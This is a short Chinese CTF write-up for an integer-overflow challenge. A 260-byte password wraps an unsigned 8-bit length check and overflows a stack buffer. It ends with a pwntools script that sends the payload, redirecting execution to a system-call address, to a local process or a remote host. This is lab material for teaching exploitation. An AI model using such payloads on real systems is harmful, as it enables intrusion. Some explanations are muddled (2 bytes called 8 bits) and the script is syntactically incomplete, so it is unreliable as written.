放Linux
32位,无金丝雀
放ida32康康
没看出什么,进入login函数康康
这有个read函数,先记下来
进函数康康
这里要判断密码的大小范围,注意一下,我们要想办法跳过这一阶段
这里会把s拷贝到dest里
康康栈的位置
这里注意其有效部分只有两个字节,259-264 之间随机选择一个数
这是一个无符号数
因为是最大2字节(8bit位),而且为无符号,所以3~8 和 259~264个字符可以通过检测
在c语言代码里面看一下原因
#include <stdio.h>
int main(){
unsigned short int a = 1;
unsigned short int b = 65537;
if(a == b){
printf("ok");
}
return 0;
}
在这段代码中最后会返回ok
因为10进制65537转到16进制是0x10001
而最大是2字节,而且是无符号,则最后就是去掉了1,变成了0x1
跟这个原理一样,257转换16进制是0x101,8bit位,变成了0x01,3到8位通过,最后得出257+2 ~ 257+7可通过检测,我们利用这一点跳过前面对数字范围的要求
我们理清思路,要用dest来进行溢出
我们要确定溢出的函数 ,一看函数表
what is this?
就它啦
开始写脚本
from pwn import *
context(os="linux", arch="x86", log_level="debug")
system_addr = 0x0804868B
content= 1
def main():
try:
if content == 1:
r = process("over")
else:
r = remote("220.249.52.133",32852)
payload = b"a" * (0x14 + 0x04) + p32(system_addr)
payload = payload.ljust(260,b"a")
r.sendlineafter("Your choice:","1")
r.sendlineafter("Please input your username:","1")
r.recvuntil("Please input your passwd:")
r.sendline(payload)
r.interactive()
main()